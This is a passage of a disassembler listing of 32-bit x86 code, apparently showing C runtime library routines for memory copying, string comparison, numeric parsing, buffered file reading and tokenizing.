loc_418564: ; DATA XREF: sub_4182C0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41856C: ; DATA XREF: sub_4182C0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_418574: ; DATA XREF: sub_4182C0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41857C: ; DATA XREF: sub_4182C0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_418584: ; DATA XREF: sub_4182C0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_418597: ; CODE XREF: sub_4182C0+1C2j
; DATA XREF: sub_4182C0:off_418550o
jmp off_4185A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r
; sub_4182C0:loc_4184A4r ...
dd offset loc_4185B8
dd offset loc_4185C8
dd offset loc_4185DC
; ---------------------------------------------------------------------------
loc_4185B0: ; CODE XREF: sub_4182C0+1B7j
; sub_4182C0:loc_4184A4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4185B8: ; CODE XREF: sub_4182C0+1B7j
; sub_4182C0:loc_4184A4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4185C8: ; CODE XREF: sub_4182C0+1B7j
; sub_4182C0:loc_4184A4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4185DC: ; CODE XREF: sub_4182C0+1B7j
; sub_4182C0:loc_4184A4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4182C0 endp
; =============== S U B R O U T I N E =======================================
sub_4185F5 proc near ; CODE XREF: sub_40473F+34p
; sub_40473F+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_417B9B
pop ecx
pop ecx
retn
sub_4185F5 endp
; =============== S U B R O U T I N E =======================================
sub_418603 proc near ; CODE XREF: sub_418670+4p
arg_0 = dword ptr 4
push esi
push dword_4CF03C
call sub_41D5A8
mov edx, dword_4CF03C
pop ecx
mov ecx, dword_4CF038
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_418662
push edx
call sub_41D5A8
add eax, 10h
push eax
push dword_4CF03C
call sub_41944F
add esp, 0Ch
test eax, eax
jnz short loc_418645
retn
; ---------------------------------------------------------------------------
loc_418645: ; CODE XREF: sub_418603+3Fj
mov ecx, dword_4CF038
sub ecx, dword_4CF03C
mov dword_4CF03C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4CF038, ecx
loc_418662: ; CODE XREF: sub_418603+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4CF038, 4
retn
sub_418603 endp
; =============== S U B R O U T I N E =======================================
sub_418670 proc near ; CODE XREF: sub_40482C+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_418603
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_418670 endp
; =============== S U B R O U T I N E =======================================
sub_418682 proc near ; DATA XREF: ___:00426018o
push 80h
call sub_417B89
test eax, eax
pop ecx
mov dword_4CF03C, eax
jnz short loc_4186A3
push 18h
call sub_419CDA
mov eax, dword_4CF03C
pop ecx
loc_4186A3: ; CODE XREF: sub_418682+12j
and dword ptr [eax], 0
mov eax, dword_4CF03C
mov dword_4CF038, eax
retn
sub_418682 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4186B1 proc near ; CODE XREF: ___:00404AFFp
; sub_4053D5+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
nop
call near ptr 26204C6h
lea eax, [ebp+var_20]
push eax
call near ptr 2820000h
nop
mov ax, [ebp+var_16]
cmp ax, word_4CD9AA
jnz short loc_418716
mov ax, [ebp+var_18]
cmp ax, word_4CD9A8
jnz short loc_418716
mov ax, [ebp+var_1A]
cmp ax, word_4CD9A6
jnz short loc_418716
mov ax, [ebp+var_1E]
cmp ax, word_4CD9A2
jnz short loc_418716
mov ax, [ebp+var_20]
cmp ax, word_4CD9A0
jnz short loc_418716
mov eax, dword_4CD998
jmp short loc_41875B
; ---------------------------------------------------------------------------
loc_418716: ; CODE XREF: sub_4186B1+28j
; sub_4186B1+35j ...
lea eax, [ebp+var_CC]
push eax
nop
call near ptr 2810000h
cmp eax, 0FFFFFFFFh
jz short loc_418743
cmp eax, 2
jnz short loc_41873F
cmp [ebp+var_32], 0
jz short loc_41873F
cmp [ebp+var_24], 0
jz short loc_41873F
push 1
pop eax
jmp short loc_418746
; ---------------------------------------------------------------------------
loc_41873F: ; CODE XREF: sub_4186B1+7Aj
; sub_4186B1+81j ...
xor eax, eax
jmp short loc_418746
; ---------------------------------------------------------------------------
loc_418743: ; CODE XREF: sub_4186B1+75j
or eax, 0FFFFFFFFh
loc_418746: ; CODE XREF: sub_4186B1+8Cj
; sub_4186B1+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4CD9A0
movsd
movsd
movsd
movsd
pop edi
mov dword_4CD998, eax
pop esi
loc_41875B: ; CODE XREF: sub_4186B1+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41D609
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41878B
mov [ecx], eax
locret_41878B: ; CODE XREF: sub_4186B1+D6j
leave
retn
sub_4186B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418790 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4CDA40
cmp dword ptr [eax+8], 0
jnz short loc_4187E3
mov al, 0FFh
mov edi, edi
loc_4187AC: ; CODE XREF: sub_418790+28j
; sub_418790+48j
or al, al
jz short loc_4187DE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_4187AC
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_4187AC
sbb al, al
sbb al, 0FFh
loc_4187DE: ; CODE XREF: sub_418790+1Ej
movsx eax, al
jmp short loc_418817
; ---------------------------------------------------------------------------
loc_4187E3: ; CODE XREF: sub_418790+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_4187EC: ; CODE XREF: sub_418790+68j
; sub_418790+80j
or al, al
jz short loc_418817
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_4187EC
push eax
push ebx
call sub_419101
mov ebx, eax
add esp, 4
call sub_419101
add esp, 4
cmp bl, al
jz short loc_4187EC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_418817: ; CODE XREF: sub_418790+51j
; sub_418790+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_418790 endp
; =============== S U B R O U T I N E =======================================
sub_41881C proc near ; CODE XREF: ___:0041ACB7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418833
add esp, 10h
retn
sub_41881C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418833 proc near ; CODE XREF: sub_41881C+Ep
; sub_418A3B+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41884B: ; CODE XREF: sub_418833+46j
cmp dword_433E7C, 1
jle short loc_418863
movzx eax, bl
push 8
push eax
call sub_41A642
pop ecx
pop ecx
jmp short loc_418872
; ---------------------------------------------------------------------------
loc_418863: ; CODE XREF: sub_418833+1Fj
mov ecx, off_433C70
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_418872: ; CODE XREF: sub_418833+2Ej
test eax, eax
jz short loc_41887B
mov bl, [esi]
inc esi
jmp short loc_41884B
; ---------------------------------------------------------------------------
loc_41887B: ; CODE XREF: sub_418833+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_418889
or [ebp+arg_C], 2
jmp short loc_41888E
; ---------------------------------------------------------------------------
loc_418889: ; CODE XREF: sub_418833+4Ej
cmp bl, 2Bh
jnz short loc_418894
loc_41888E: ; CODE XREF: sub_418833+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_418894: ; CODE XREF: sub_418833+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_418A2B
cmp eax, 1
jz loc_418A2B
cmp eax, 24h
jg loc_418A2B
push 10h
test eax, eax
pop ecx
jnz short loc_4188DC
cmp bl, 30h
jz short loc_4188C6
mov [ebp+arg_8], 0Ah
jmp short loc_4188F8
; ---------------------------------------------------------------------------
loc_4188C6: ; CODE XREF: sub_418833+88j
mov al, [esi]
cmp al, 78h
jz short loc_4188D9
cmp al, 58h
jz short loc_4188D9
mov [ebp+arg_8], 8
jmp short loc_4188F8
; ---------------------------------------------------------------------------
loc_4188D9: ; CODE XREF: sub_418833+97j
; sub_418833+9Bj
mov [ebp+arg_8], ecx
loc_4188DC: ; CODE XREF: sub_418833+83j
cmp [ebp+arg_8], ecx
jnz short loc_4188F8
cmp bl, 30h
jnz short loc_4188F8
mov al, [esi]
cmp al, 78h
jz short loc_4188F0
cmp al, 58h
jnz short loc_4188F8
loc_4188F0: ; CODE XREF: sub_418833+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_4188F8: ; CODE XREF: sub_418833+91j
; sub_418833+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_418908: ; CODE XREF: sub_418833+16Cj
cmp dword_433E7C, 1
movzx esi, bl
jle short loc_418920
push 4
push esi
call sub_41A642
pop ecx
pop ecx
jmp short loc_41892B
; ---------------------------------------------------------------------------
loc_418920: ; CODE XREF: sub_418833+DFj
mov eax, off_433C70
mov al, [eax+esi*2]
and eax, 4
loc_41892B: ; CODE XREF: sub_418833+EBj
test eax, eax
jz short loc_418937
movsx ecx, bl
sub ecx, 30h
jmp short loc_418969
; ---------------------------------------------------------------------------
loc_418937: ; CODE XREF: sub_418833+FAj
cmp dword_433E7C, 1
jle short loc_41894B
push edi
push esi
call sub_41A642
pop ecx
pop ecx
jmp short loc_418956
; ---------------------------------------------------------------------------
loc_41894B: ; CODE XREF: sub_418833+10Bj
mov eax, off_433C70
mov ax, [eax+esi*2]
and eax, edi
loc_418956: ; CODE XREF: sub_418833+116j
test eax, eax
jz short loc_4189A4
movsx eax, bl
push eax
call sub_41D6CB
pop ecx
mov ecx, eax
sub ecx, 37h
loc_418969: ; CODE XREF: sub_418833+102j
cmp ecx, [ebp+arg_8]
jnb short loc_4189A4
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41898E
jnz short loc_418988
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41898E
loc_418988: ; CODE XREF: sub_418833+147j
or [ebp+arg_C], 4
jmp short loc_418997
; ---------------------------------------------------------------------------
loc_41898E: ; CODE XREF: sub_418833+145j
; sub_418833+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_418997: ; CODE XREF: sub_418833+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_418908
; ---------------------------------------------------------------------------
loc_4189A4: ; CODE XREF: sub_418833+125j
; sub_418833+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_4189C2
test edx, edx
jz short loc_4189BC
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4189BC: ; CODE XREF: sub_418833+181j
and [ebp+var_8], 0
jmp short loc_418A0F
; ---------------------------------------------------------------------------
loc_4189C2: ; CODE XREF: sub_418833+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_4189E8
test cl, 1
jnz short loc_418A0F
and ecx, 2
jz short loc_4189DF
cmp [ebp+var_8], 80000000h
ja short loc_4189E8
loc_4189DF: ; CODE XREF: sub_418833+1A1j
test ecx, ecx
jnz short loc_418A0F
cmp [ebp+var_8], eax
jbe short loc_418A0F
loc_4189E8: ; CODE XREF: sub_418833+197j
; sub_418833+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4CD9B4, 22h
jz short loc_4189FE
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_418A0F
; ---------------------------------------------------------------------------
loc_4189FE: ; CODE XREF: sub_418833+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_418A0F: ; CODE XREF: sub_418833+18Dj
; sub_418833+19Cj ...
test edx, edx
jz short loc_418A18
mov eax, [ebp+var_4]
mov [edx], eax
loc_418A18: ; CODE XREF: sub_418833+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_418A26
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_418A26: ; CODE XREF: sub_418833+1E9j
mov eax, [ebp+var_8]
jmp short loc_418A36
; ---------------------------------------------------------------------------
loc_418A2B: ; CODE XREF: sub_418833+66j
; sub_418833+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_418A34
mov [eax], edi
loc_418A34: ; CODE XREF: sub_418833+1FDj
xor eax, eax
loc_418A36: ; CODE XREF: sub_418833+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_418833 endp
; =============== S U B R O U T I N E =======================================
sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp
; sub_40EE72+3773p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418833
add esp, 10h
retn
sub_418A3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A52 proc near ; CODE XREF: sub_4053D5+266p
; sub_4053D5+46Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_417AB0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41D797
add esp, 10h
leave
retn
sub_418A52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep
; sub_406C19+30Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_418AAA
xor eax, eax
jmp loc_418B53
; ---------------------------------------------------------------------------
loc_418AAA: ; CODE XREF: sub_418A86+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_418ABD
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_418AC9
; ---------------------------------------------------------------------------
loc_418ABD: ; CODE XREF: sub_418A86+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_418AC9
; ---------------------------------------------------------------------------
loc_418AC6: ; CODE XREF: sub_418A86+C4j
mov ecx, [ebp+arg_0]
loc_418AC9: ; CODE XREF: sub_418A86+35j
; sub_418A86+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_418AFB
mov eax, [esi+4]
test eax, eax
jz short loc_418AFB
cmp ecx, eax
mov edi, ecx
jb short loc_418AE0
mov edi, eax
loc_418AE0: ; CODE XREF: sub_418A86+56j
push edi
push dword ptr [esi]
push ebx
call sub_417390
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_418B46
; ---------------------------------------------------------------------------
loc_418AFB: ; CODE XREF: sub_418A86+49j
; sub_418A86+50j
cmp ecx, [ebp+arg_C]
jb short loc_418B2E
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_418B11
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_418B11: ; CODE XREF: sub_418A86+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41E321
add esp, 0Ch
test eax, eax
jz short loc_418B58
cmp eax, 0FFFFFFFFh
jz short loc_418B5E
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_418B46
; ---------------------------------------------------------------------------
loc_418B2E: ; CODE XREF: sub_418A86+78j
push esi
call sub_41E248
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_418B62
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_418B46: ; CODE XREF: sub_418A86+73j
; sub_418A86+A6j
cmp [ebp+arg_0], 0
jnz loc_418AC6
mov eax, [ebp+arg_8]
loc_418B53: ; CODE XREF: sub_418A86+1Fj
; sub_418A86+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_418B58: ; CODE XREF: sub_418A86+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_418B62
; ---------------------------------------------------------------------------
loc_418B5E: ; CODE XREF: sub_418A86+9Fj
or dword ptr [esi+0Ch], 20h
loc_418B62: ; CODE XREF: sub_418A86+B2j
; sub_418A86+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_418B53
sub_418A86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p
; sub_4060D0+101p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_418B87: ; CODE XREF: sub_418B6E+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_418B87
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_418BAF
mov edx, dword_4CD9B0
loc_418BAF: ; CODE XREF: sub_418B6E+39j
; sub_418B6E+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_418BCF
test al, al
jz short loc_418BCF
inc edx
jmp short loc_418BAF
; ---------------------------------------------------------------------------
loc_418BCF: ; CODE XREF: sub_418B6E+58j
; sub_418B6E+5Cj
mov ebx, edx
loc_418BD1: ; CODE XREF: sub_418B6E+81j
mov al, [edx]
test al, al
jz short loc_418BF5
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_418BF1
inc edx
jmp short loc_418BD1
; ---------------------------------------------------------------------------
loc_418BF1: ; CODE XREF: sub_418B6E+7Ej
and byte ptr [edx], 0
inc edx
loc_418BF5: ; CODE XREF: sub_418B6E+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4CD9B0, edx
and eax, ebx
pop ebx
leave
retn
sub_418B6E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418C10 proc near ; CODE XREF: sub_406387+1B6p
; sub_407252+6Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_418C93
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_418C34
shr ecx, 2
jnz short loc_418CA1
jmp short loc_418C55
; ---------------------------------------------------------------------------
loc_418C34: ; CODE XREF: sub_418C10+1Bj
; sub_418C10+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_418C62
test al, al
jz short loc_418C6A
test esi, 3
jnz short loc_418C34
mov ebx, ecx
shr ecx, 2
jnz short loc_418CA1
loc_418C50: ; CODE XREF: sub_418C10+8Fj
and ebx, 3
jz short loc_418C62
loc_418C55: ; CODE XREF: sub_418C10+22j
; sub_418C10+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_418C8E
dec ebx
jnz short loc_418C55
loc_418C62: ; CODE XREF: sub_418C10+2Bj
; sub_418C10+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418C6A: ; CODE XREF: sub_418C10+2Fj
test edi, 3
jz short loc_418C84
loc_418C72: ; CODE XREF: sub_418C10+72j
mov [edi], al
inc edi
dec ecx
jz loc_418D06
test edi, 3
jnz short loc_418C72
loc_418C84: ; CODE XREF: sub_418C10+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_418CF7
loc_418C8B: ; CODE XREF: sub_418C10+7Fj
; sub_418C10+F4j
mov [edi], al
inc edi
loc_418C8E: ; CODE XREF: sub_418C10+4Dj
dec ebx
jnz short loc_418C8B
pop ebx
pop esi
loc_418C93: ; CODE XREF: sub_418C10+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418C99: ; CODE XREF: sub_418C10+A9j
; sub_418C10+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_418C50
loc_418CA1: ; CODE XREF: sub_418C10+20j
; sub_418C10+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418C99
test dl, dl
jz short loc_418CEB
test dh, dh
jz short loc_418CE1
test edx, 0FF0000h
jz short loc_418CD7
test edx, 0FF000000h
jnz short loc_418C99
mov [edi], edx
jmp short loc_418CEF
; ---------------------------------------------------------------------------
loc_418CD7: ; CODE XREF: sub_418C10+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_418CEF
; ---------------------------------------------------------------------------
loc_418CE1: ; CODE XREF: sub_418C10+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_418CEF
; ---------------------------------------------------------------------------
loc_418CEB: ; CODE XREF: sub_418C10+ADj
xor edx, edx
mov [edi], edx
loc_418CEF: ; CODE XREF: sub_418C10+C5j
; sub_418C10+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_418D01
loc_418CF7: ; CODE XREF: sub_418C10+79j
xor eax, eax
loc_418CF9: ; CODE XREF: sub_418C10+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_418CF9
loc_418D01: ; CODE XREF: sub_418C10+E5j
and ebx, 3
jnz short loc_418C8B
loc_418D06: ; CODE XREF: sub_418C10+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_418C10 endp
; =============== S U B R O U T I N E =======================================
sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p
; sub_406C19+435p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_418D8A
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_418D2D
cmp edi, 1
jz short loc_418D2D
cmp edi, 2
jnz short loc_418D8A
loc_418D2D: ; CODE XREF: sub_418D0E+13j
; sub_418D0E+18j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_418D44
push esi
call sub_41E5B1
add [esp+0Ch+arg_4], eax
pop ecx
xor edi, edi
loc_418D44: ; CODE XREF: sub_418D0E+27j
push esi
call sub_41A7D0
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_418D59
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_418D6D
; ---------------------------------------------------------------------------
loc_418D59: ; CODE XREF: sub_418D0E+42j
test al, 1
jz short loc_418D6D
test al, 8
jz short loc_418D6D
test ah, 4
jnz short loc_418D6D
mov dword ptr [esi+18h], 200h
loc_418D6D: ; CODE XREF: sub_418D0E+49j
; sub_418D0E+4Dj ...
push edi
push [esp+0Ch+arg_4]
push dword ptr [esi+10h]
call sub_41E517
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_418D97
; ---------------------------------------------------------------------------
loc_418D8A: ; CODE XREF: sub_418D0E+Bj
; sub_418D0E+1Dj
mov dword_4CD9B4, 16h
or eax, 0FFFFFFFFh
loc_418D97: ; CODE XREF: sub_418D0E+7Aj
pop edi
pop esi
retn
sub_418D0E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp
; sub_406C19+2CDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_418DD1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_418DCF
jz short loc_418DD1
dec ecx
dec ecx
loc_418DCF: ; CODE XREF: sub_418DA0+29j
not ecx
loc_418DD1: ; CODE XREF: sub_418DA0+9j
; sub_418DA0+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_418DA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp
; sub_407110+9Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_418E94
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_418E0A
loc_418DFB: ; CODE XREF: sub_418DE0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_418E3B
test edi, 3
jnz short loc_418DFB
loc_418E0A: ; CODE XREF: sub_418DE0+19j
; sub_418DE0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_418E0A
mov eax, [edi-4]
test al, al
jz short loc_418E48
test ah, ah
jz short loc_418E43
test eax, 0FF0000h
jz short loc_418E3E
test eax, 0FF000000h
jnz short loc_418E0A
loc_418E3B: ; CODE XREF: sub_418DE0+20j
dec edi
jmp short loc_418E4B
; ---------------------------------------------------------------------------
loc_418E3E: ; CODE XREF: sub_418DE0+52j
sub edi, 2
jmp short loc_418E4B
; ---------------------------------------------------------------------------
loc_418E43: ; CODE XREF: sub_418DE0+4Bj
sub edi, 3
jmp short loc_418E4B
; ---------------------------------------------------------------------------
loc_418E48: ; CODE XREF: sub_418DE0+47j
sub edi, 4
loc_418E4B: ; CODE XREF: sub_418DE0+5Cj
; sub_418DE0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_418E60
mov ebx, ecx
shr ecx, 2
jnz short loc_418EAC
jmp short loc_418E7C
; ---------------------------------------------------------------------------
